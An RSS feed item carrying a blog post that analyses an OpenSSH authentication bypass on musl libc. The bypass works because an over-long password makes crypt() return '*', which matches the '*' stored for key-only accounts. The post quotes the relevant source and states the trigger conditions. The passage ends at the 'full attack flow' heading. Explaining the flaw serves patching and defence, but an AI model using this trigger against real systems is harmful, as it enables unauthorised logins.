<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GUIDANCE WHITE</title>
    <description>The latest articles on DEV Community by GUIDANCE WHITE (@guidance_white).</description>
    <link>https://dev.to/guidance_white</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4012932%2F1351cb58-618f-4322-9211-adf9506ecbad.png</url>
      <title>DEV Community: GUIDANCE WHITE</title>
      <link>https://dev.to/guidance_white</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guidance_white"/>
    <language>en</language>
    <item>
      <title>[CVE-2026-123158] *sshole : How Two Unrelated '*' Strings Broke OpenSSH on musl</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 06 Nov 2026 22:24:48 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-123158-sshole-how-two-unrelated-strings-broke-openssh-on-musl-2hpk</link>
      <guid>https://dev.to/guidance_white/cve-2026-123158-sshole-how-two-unrelated-strings-broke-openssh-on-musl-2hpk</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fynqp1ja78wh3r8tfey9q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fynqp1ja78wh3r8tfey9q.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;CVE-2026-123158&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nickname&lt;/td&gt;
&lt;td&gt;*sshole (sshhole)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;Özgün Kültekin (Wakefield)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosed&lt;/td&gt;
&lt;td&gt;November 5, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;OpenSSH sshd on musl libc without PAM (Alpine Linux's default config, among others)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;OpenSSH 7.3 – 10.6p1 (since 2016)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;OpenSSH 10.6p2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;8.1 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trigger condition&lt;/td&gt;
&lt;td&gt;A passwordless (&lt;code&gt;*&lt;/code&gt;) account + at least one other local account with a &lt;code&gt;$5$&lt;/code&gt;/&lt;code&gt;$6$&lt;/code&gt; hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trigger&lt;/td&gt;
&lt;td&gt;Send any 257–1024 byte string as the password&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This post walks through the sshd and musl source code to explain exactly how an attacker who knows &lt;em&gt;no&lt;/em&gt; password at all can log in, just by sending a 257-byte string.&lt;/p&gt;

&lt;h2&gt;
  
  
  The core idea: two unrelated "*" strings turn out to be equal
&lt;/h2&gt;

&lt;p&gt;Unix systems never store your password as-is — they store a hash, and compare hashes at login time. A normal shadow entry looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alice:$6$Qx7Lm2Pa$k3J9...(long hash)...:20000:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$6$&lt;/code&gt; means SHA-512 crypt, and &lt;code&gt;Qx7Lm2Pa&lt;/code&gt; is the salt (a random string mixed into the password so two users with the same password don't get the same hash).&lt;/p&gt;

&lt;p&gt;Accounts that should only ever authenticate with an SSH key — never a password — follow a decades-old Unix convention and store a single asterisk instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;keyonly:*:20000:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That convention only holds if &lt;strong&gt;no real password can ever hash down to the single character &lt;code&gt;*&lt;/code&gt;&lt;/strong&gt;. &lt;em&gt;sshole&lt;/em&gt; is exactly the case where that assumption breaks.&lt;/p&gt;

&lt;p&gt;musl libc's &lt;code&gt;crypt()&lt;/code&gt; refuses passwords longer than 256 bytes and signals the failure by returning the literal string &lt;code&gt;"*"&lt;/code&gt;. It turns out that, under the right conditions, sshd can be tricked into generating exactly that &lt;code&gt;"*"&lt;/code&gt; from an attacker-controlled password — and once it does, it matches the &lt;code&gt;"*"&lt;/code&gt; stored for the passwordless account byte-for-byte.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reading the source
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — How sshd checks a password without PAM
&lt;/h3&gt;

&lt;p&gt;With PAM disabled, sshd verifies passwords itself in &lt;code&gt;sys_auth_passwd()&lt;/code&gt;, in &lt;code&gt;auth-passwd.c&lt;/code&gt;. This is the pre-patch code, as shipped in OpenSSH 9.3p2 on Alpine Linux 3.18:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Just use the supplied fake password if authctxt is invalid */&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pw_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;authctxt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;shadow_pw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pw_passwd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="cm"&gt;/*
 * Encrypt the candidate password using the proper salt, or pass a
 * NULL and let xcrypt pick one.
 */&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authctxt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;encrypted_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;xcrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cm"&gt;/*
 * Authentication is accepted if the encrypted passwords
 * are identical.
 */&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;encrypted_password&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    &lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Textbook logic: read the stored hash, use it as the salt to hash the password the user just typed, and &lt;code&gt;strcmp()&lt;/code&gt; the two strings.&lt;/p&gt;

&lt;p&gt;The interesting line is this one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authctxt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checking both &lt;code&gt;pw_password[0]&lt;/code&gt; and &lt;code&gt;pw_password[1]&lt;/code&gt; means the stored value needs &lt;strong&gt;at least two characters&lt;/strong&gt; before sshd will use it as a salt. &lt;code&gt;*&lt;/code&gt; is only one character, so it fails this check, and &lt;code&gt;salt&lt;/code&gt; stays &lt;code&gt;NULL&lt;/code&gt;. That forces the very next line, &lt;code&gt;xcrypt(password, salt)&lt;/code&gt;, to come up with a salt on its own.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Borrowing a salt from another account
&lt;/h3&gt;

&lt;p&gt;When &lt;code&gt;salt&lt;/code&gt; is &lt;code&gt;NULL&lt;/code&gt;, &lt;code&gt;pick_salt()&lt;/code&gt; in &lt;code&gt;openbsd-compat/xcrypt.c&lt;/code&gt; picks one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;strlcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"xx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;setpwent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;pw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getpwent&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;shadow_pw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;'$'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strrchr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'$'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;typelen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;strlcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MINIMUM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;typelen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
        &lt;span class="n"&gt;explicit_bzero&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;endpwent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It walks &lt;code&gt;/etc/passwd&lt;/code&gt; front to back, looking for the &lt;strong&gt;first&lt;/strong&gt; account whose hash starts with &lt;code&gt;$&lt;/code&gt; and has a second &lt;code&gt;$&lt;/code&gt; delimiter — a modern crypt format like &lt;code&gt;$5$...&lt;/code&gt; or &lt;code&gt;$6$...&lt;/code&gt;. It returns the hash-type-plus-salt prefix of that account, or falls back to the legacy DES placeholder &lt;code&gt;"xx"&lt;/code&gt; if nothing matches.&lt;/p&gt;

&lt;p&gt;This function exists because of &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2016-6210" rel="noopener noreferrer"&gt;CVE-2016-6210&lt;/a&gt;. In 2016, researchers showed that sshd's response time differed for nonexistent users versus real ones — a timing side-channel that let attackers enumerate valid usernames. The fix was to always borrow a real account's salt format when none was available, so the timing cost looked the same either way. The intent was to protect against &lt;strong&gt;usernames that don't exist&lt;/strong&gt;. But because of the &lt;code&gt;pw_password[1]&lt;/code&gt; check above, a &lt;strong&gt;real account with &lt;code&gt;*&lt;/code&gt;&lt;/strong&gt; falls into the exact same code path.&lt;/p&gt;

&lt;p&gt;So our passwordless &lt;code&gt;keyonly&lt;/code&gt; account ends up borrowing, say, &lt;code&gt;alice&lt;/code&gt;'s &lt;code&gt;$6$Qx7Lm2Pa&lt;/code&gt; salt for the comparison.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — musl crypt()'s 256-byte cap
&lt;/h3&gt;

&lt;p&gt;Next, sshd hashes the attacker's password using that borrowed salt. musl's SHA-512 crypt implementation (&lt;code&gt;src/crypt/crypt_sha512.c&lt;/code&gt;) caps the input length:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* key limit is not part of the original design, added for DoS protection.
 * rounds limit has been lowered (versus the reference/spec), also for DoS
 * protection. runtime is O(klen^2 + klen*rounds) */&lt;/span&gt;
&lt;span class="cp"&gt;#define KEY_MAX 256
&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="cm"&gt;/* reject large keys */&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;KEY_MAX&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;KEY_MAX&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anything over 256 bytes is refused outright — a sensible DoS protection. What matters is what the caller gets back on that failure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sha512crypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;setting&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cm"&gt;/* self test and stack cleanup */&lt;/span&gt;
&lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sha512crypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;testkey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;testsetting&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;testbuf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;testbuf&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;testbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;testhash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt; &lt;span class="n"&gt;testhash&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not &lt;code&gt;NULL&lt;/code&gt; — the string &lt;code&gt;"*"&lt;/code&gt;. POSIX says &lt;code&gt;crypt()&lt;/code&gt; should return a null pointer and set &lt;code&gt;errno&lt;/code&gt; on error, but musl deliberately returns a string instead, because (per its own commit message) "a large portion of programs which call crypt are not prepared for its failure and do not check that the return value is non-null." glibc's libxcrypt, by contrast, returns &lt;code&gt;NULL&lt;/code&gt; on failure, which sshd already filters out with &lt;code&gt;encrypted_password != NULL&lt;/code&gt; — this is exactly why glibc distros like Debian, Ubuntu and RHEL are not affected.&lt;/p&gt;

&lt;p&gt;Worth noting: musl does guard against the &lt;em&gt;obvious&lt;/em&gt; version of this bug. In &lt;code&gt;crypt_des.c&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setting&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="sc"&gt;'*'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s"&gt;"x"&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the salt itself starts with &lt;code&gt;*&lt;/code&gt;, musl returns &lt;code&gt;"x"&lt;/code&gt; instead — so &lt;code&gt;crypt(password, "*")&lt;/code&gt; can never produce &lt;code&gt;"*"&lt;/code&gt;. That guard protects the classic pattern, where a program uses the stored field as its own salt. But sshd never does that here; it uses a &lt;strong&gt;borrowed &lt;code&gt;$6$...&lt;/code&gt; salt from a different account&lt;/strong&gt;. As far as musl is concerned, it's just doing an ordinary SHA-512 crypt with a valid salt that happens to fail because the input is too long — the guard never triggers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Where the two "*" meet
&lt;/h3&gt;

&lt;p&gt;Putting it together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;encrypted_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;xcrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="cm"&gt;/* salt borrowed from alice, password is 257 bytes */&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;encrypted_password&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    &lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* "*" vs "*" */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;pw_password&lt;/code&gt;: the stored value for &lt;code&gt;keyonly&lt;/code&gt; → &lt;code&gt;"*"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;encrypted_password&lt;/code&gt;: musl's error string from trying to hash a 257-byte password with the borrowed salt → &lt;code&gt;"*"&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;strcmp("*", "*")&lt;/code&gt; returns &lt;code&gt;0&lt;/code&gt;, and sshd accepts the login.&lt;/p&gt;

&lt;p&gt;In practice this usually takes &lt;strong&gt;two attempts in the same SSH connection&lt;/strong&gt;. musl's &lt;code&gt;getspnam()&lt;/code&gt; reuses an internal shared buffer, and &lt;code&gt;pick_salt()&lt;/code&gt;'s lookup of another account overwrites and then wipes that buffer with &lt;code&gt;explicit_bzero()&lt;/code&gt;. So on the first attempt, &lt;code&gt;pw_password&lt;/code&gt; ends up pointing at corrupted memory and the comparison simply fails. From the second attempt onward in the same connection, the salt is cached and the comparison runs cleanly. Since sshd allows up to 6 password attempts per connection by default (&lt;code&gt;MaxAuthTries&lt;/code&gt;), this extra attempt costs the attacker nothing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The full attack flow
&lt;/h2&gt;

